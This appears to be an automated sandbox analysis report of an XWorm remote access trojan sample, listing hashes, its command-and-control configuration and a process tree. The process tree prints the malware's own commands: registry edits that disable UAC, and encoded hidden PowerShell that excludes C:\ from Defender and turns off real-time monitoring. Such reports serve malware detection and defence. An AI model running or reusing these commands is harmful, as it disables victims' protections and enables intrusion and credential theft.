xworm | 3bc4f0923e2c5636126dc1beebcb056b6b6a22d4d350a3f86f7a4f9855d34039

Analysis

max time kernel
149s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/03/2026, 04:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 36.0MB
Sample260303-e9r2lac18g
SHA256 3bc4f0923e2c5636126dc1beebcb056b6b6a22d4d350a3f86f7a4f9855d34039
MD5 a49be2131917614e5348df5b3169101f
SHA1 69eadaa9df005314afbc52dd31ad96df67e483d5
SHA512 a5c474b8e3d7eb34049c8d45fd355af90d344543d9fdf3feb8c052b2e3494668f3d1368d0d46e32f4be94d857a2966e0bc5b093955f38243e5e4dae4d7f8b32a
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfO:fMguj8Q4VfvdqFTrYn
TLSH
T131878B0773E60195E9B7D1388AA64507D773B8638331CBDF329D06152FABAD09A7E720
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xworm persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Version

XWorm V6.5 by c3lestial.fun

ynvgx9hh15.localto.net:5380

Attributes

Install_directory
%LocalAppData%
install_file
XWormClient.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x00070000000243eb-45.dat	family_xworm
behavioral1/memory/2496-47-0x0000000000A40000-0x0000000000A5C000-memory.dmp	family_xworm

UAC bypass 3 TTPs 4 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4676	powershell.exe
3956	powershell.exe
4768	powershell.exe
1252	powershell.exe
1556	powershell.exe
4744	powershell.exe
1256	powershell.exe
4768	powershell.exe
3300	powershell.exe
2196	powershell.exe
4004	powershell.exe
1276	powershell.exe
756	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2496	saassa.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	api.ipify.org
14	ip-api.com
21	api.ipify.org

An obfuscated cmd.exe command-line is typically used to evade detection. 8 IoCs

pid	Process
3236	cmd.exe
4624	cmd.exe
3972	cmd.exe
1396	cmd.exe
1688	cmd.exe
868	cmd.exe
2448	cmd.exe
4700	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4636	cmd.exe
620	netsh.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
5016	WMIC.exe

Kills process with taskkill 10 IoCs

defense_evasion

pid	Process
1688	taskkill.exe
1600	taskkill.exe
960	taskkill.exe
2136	taskkill.exe
5108	taskkill.exe
3804	taskkill.exe
904	taskkill.exe
4004	taskkill.exe
4424	taskkill.exe
4796	taskkill.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
4768	powershell.exe
4768	powershell.exe
1252	powershell.exe
1252	powershell.exe
1556	powershell.exe
1556	powershell.exe
4676	powershell.exe
4676	powershell.exe
4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
3956	powershell.exe
3956	powershell.exe
3956	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
1256	powershell.exe
1256	powershell.exe
1256	powershell.exe
4768	powershell.exe
4768	powershell.exe
4768	powershell.exe
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
2196	powershell.exe
2196	powershell.exe
2196	powershell.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
1276	powershell.exe
1276	powershell.exe
1276	powershell.exe
756	powershell.exe
756	powershell.exe
756	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	2496	saassa.exe
Token: SeIncreaseQuotaPrivilege	5016	WMIC.exe
Token: SeSecurityPrivilege	5016	WMIC.exe
Token: SeTakeOwnershipPrivilege	5016	WMIC.exe
Token: SeLoadDriverPrivilege	5016	WMIC.exe
Token: SeSystemProfilePrivilege	5016	WMIC.exe
Token: SeSystemtimePrivilege	5016	WMIC.exe
Token: SeProfSingleProcessPrivilege	5016	WMIC.exe
Token: SeIncBasePriorityPrivilege	5016	WMIC.exe
Token: SeCreatePagefilePrivilege	5016	WMIC.exe
Token: SeBackupPrivilege	5016	WMIC.exe
Token: SeRestorePrivilege	5016	WMIC.exe
Token: SeShutdownPrivilege	5016	WMIC.exe
Token: SeDebugPrivilege	5016	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5016	WMIC.exe
Token: SeRemoteShutdownPrivilege	5016	WMIC.exe
Token: SeUndockPrivilege	5016	WMIC.exe
Token: SeManageVolumePrivilege	5016	WMIC.exe
Token: 33	5016	WMIC.exe
Token: 34	5016	WMIC.exe
Token: 35	5016	WMIC.exe
Token: 36	5016	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5016	WMIC.exe
Token: SeSecurityPrivilege	5016	WMIC.exe
Token: SeTakeOwnershipPrivilege	5016	WMIC.exe
Token: SeLoadDriverPrivilege	5016	WMIC.exe
Token: SeSystemProfilePrivilege	5016	WMIC.exe
Token: SeSystemtimePrivilege	5016	WMIC.exe
Token: SeProfSingleProcessPrivilege	5016	WMIC.exe
Token: SeIncBasePriorityPrivilege	5016	WMIC.exe
Token: SeCreatePagefilePrivilege	5016	WMIC.exe
Token: SeBackupPrivilege	5016	WMIC.exe
Token: SeRestorePrivilege	5016	WMIC.exe
Token: SeShutdownPrivilege	5016	WMIC.exe
Token: SeDebugPrivilege	5016	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5016	WMIC.exe
Token: SeRemoteShutdownPrivilege	5016	WMIC.exe
Token: SeUndockPrivilege	5016	WMIC.exe
Token: SeManageVolumePrivilege	5016	WMIC.exe
Token: 33	5016	WMIC.exe
Token: 34	5016	WMIC.exe
Token: 35	5016	WMIC.exe
Token: 36	5016	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5104	WMIC.exe
Token: SeSecurityPrivilege	5104	WMIC.exe
Token: SeTakeOwnershipPrivilege	5104	WMIC.exe
Token: SeLoadDriverPrivilege	5104	WMIC.exe
Token: SeSystemProfilePrivilege	5104	WMIC.exe
Token: SeSystemtimePrivilege	5104	WMIC.exe
Token: SeProfSingleProcessPrivilege	5104	WMIC.exe
Token: SeIncBasePriorityPrivilege	5104	WMIC.exe
Token: SeCreatePagefilePrivilege	5104	WMIC.exe
Token: SeBackupPrivilege	5104	WMIC.exe
Token: SeRestorePrivilege	5104	WMIC.exe
Token: SeShutdownPrivilege	5104	WMIC.exe
Token: SeDebugPrivilege	5104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5104	WMIC.exe
Token: SeRemoteShutdownPrivilege	5104	WMIC.exe
Token: SeUndockPrivilege	5104	WMIC.exe
Token: SeManageVolumePrivilege	5104	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4248 wrote to memory of 1420	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	87
PID 1420 wrote to memory of 3940	1420	cmd.exe	89
PID 4248 wrote to memory of 2520	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	90
PID 2520 wrote to memory of 3368	2520	cmd.exe	92
PID 4248 wrote to memory of 3312	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	93
PID 3312 wrote to memory of 3828	3312	cmd.exe	95
PID 4248 wrote to memory of 4100	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	96
PID 4100 wrote to memory of 1764	4100	cmd.exe	99
PID 4248 wrote to memory of 4388	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	100
PID 4388 wrote to memory of 2088	4388	cmd.exe	102
PID 4248 wrote to memory of 1128	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	103
PID 1128 wrote to memory of 4460	1128	cmd.exe	106
PID 4248 wrote to memory of 3756	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	107
PID 3756 wrote to memory of 4768	3756	cmd.exe	109
PID 4248 wrote to memory of 2040	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	111
PID 2040 wrote to memory of 1252	2040	cmd.exe	113
PID 4248 wrote to memory of 1828	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	114
PID 1828 wrote to memory of 1556	1828	cmd.exe	116
PID 4248 wrote to memory of 468	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	117
PID 468 wrote to memory of 4676	468	cmd.exe	119
PID 4248 wrote to memory of 552	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	122
PID 552 wrote to memory of 4532	552	cmd.exe	124
PID 4532 wrote to memory of 2496	4532	cmd.exe	125
PID 4248 wrote to memory of 4548	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	126
PID 4548 wrote to memory of 5016	4548	cmd.exe	128
PID 4248 wrote to memory of 5096	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	131
PID 5096 wrote to memory of 5104	5096	cmd.exe	133
PID 4248 wrote to memory of 4728	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	134
PID 4728 wrote to memory of 4028	4728	cmd.exe	136
PID 4248 wrote to memory of 2180	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	137
PID 2180 wrote to memory of 1496	2180	cmd.exe	139
PID 4248 wrote to memory of 4636	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	147
PID 4636 wrote to memory of 620	4636	cmd.exe	149
PID 4248 wrote to memory of 4860	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	150
PID 4860 wrote to memory of 3956	4860	cmd.exe	152
PID 4248 wrote to memory of 3236	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	155
PID 3236 wrote to memory of 4744	3236	cmd.exe	157
PID 4248 wrote to memory of 4624	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	158
PID 4624 wrote to memory of 1256	4624	cmd.exe	160
PID 4248 wrote to memory of 2712	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	161
PID 2712 wrote to memory of 1688	2712	cmd.exe	163
PID 4248 wrote to memory of 228	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	164
PID 228 wrote to memory of 5108	228	cmd.exe	166
PID 4248 wrote to memory of 404	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	167
PID 404 wrote to memory of 1600	404	cmd.exe	169
PID 4248 wrote to memory of 4328	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	170
PID 4328 wrote to memory of 3804	4328	cmd.exe	172
PID 4248 wrote to memory of 1436	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	173
PID 1436 wrote to memory of 904	1436	cmd.exe	175
PID 4248 wrote to memory of 5052	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	176
PID 5052 wrote to memory of 4004	5052	cmd.exe	178
PID 4248 wrote to memory of 4588	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	179
PID 4588 wrote to memory of 4424	4588	cmd.exe	181
PID 4248 wrote to memory of 2696	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	182
PID 2696 wrote to memory of 960	2696	cmd.exe	184
PID 4248 wrote to memory of 2112	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	185
PID 2112 wrote to memory of 4796	2112	cmd.exe	187
PID 4248 wrote to memory of 1212	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	188
PID 1212 wrote to memory of 2136	1212	cmd.exe	190
PID 4248 wrote to memory of 3972	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	191
PID 3972 wrote to memory of 4768	3972	cmd.exe	193
PID 4248 wrote to memory of 1396	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	194
PID 1396 wrote to memory of 3300	1396	cmd.exe	196
PID 4248 wrote to memory of 1688	4248	2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	197

C:\Users\Admin\AppData\Local\Temp\2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_TOASTS_ABOVE_LOCK /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_TOASTS_ABOVE_LOCK /t REG_DWORD /d 0 /f
    3⤵
    PID:3940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
    3⤵
    PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:3828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:1764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4388
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:2088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:4460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -NonI -W Hidden -Enc QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAnQzpcJw=="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -NonI -W Hidden -Enc QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAnQzpcJw==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -NonI -W Hidden -Enc U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZQ=="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -NonI -W Hidden -Enc U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZQ==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -NonI -W Hidden -Enc QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAnQzpcVXNlcnNcQWRtaW5cRG93bmxvYWRzXHNhYXNzYS5leGUn"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -NonI -W Hidden -Enc QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAnQzpcVXNlcnNcQWRtaW5cRG93bmxvYWRzXHNhYXNzYS5leGUn
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -W Hidden -Enc UmVtb3ZlLUl0ZW0gLVBhdGggJ0M6XFVzZXJzXEFkbWluXERvd25sb2Fkc1xzYWFzc2EuZXhlOlpvbmUuSWRlbnRpZmllcicgLUVBIFNpbGVudGx5Q29udGludWU="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -W Hidden -Enc UmVtb3ZlLUl0ZW0gLVBhdGggJ0M6XFVzZXJzXEFkbWluXERvd25sb2Fkc1xzYWFzc2EuZXhlOlpvbmUuSWRlbnRpZmllcicgLUVBIFNpbGVudGx5Q29udGludWU=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start /b "" "C:\Users\Admin\Downloads\saassa.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start /b "" "C:\Users\Admin\Downloads\saassa.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Users\Admin\Downloads\saassa.exe
      "C:\Users\Admin\Downloads\saassa.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get size,freespace,caption /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk get size,freespace,caption /format:csv
    3⤵
    - Collects information from the system
    - Suspicious use of AdjustPrivilegeToken
    PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_videocontroller get caption /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5096
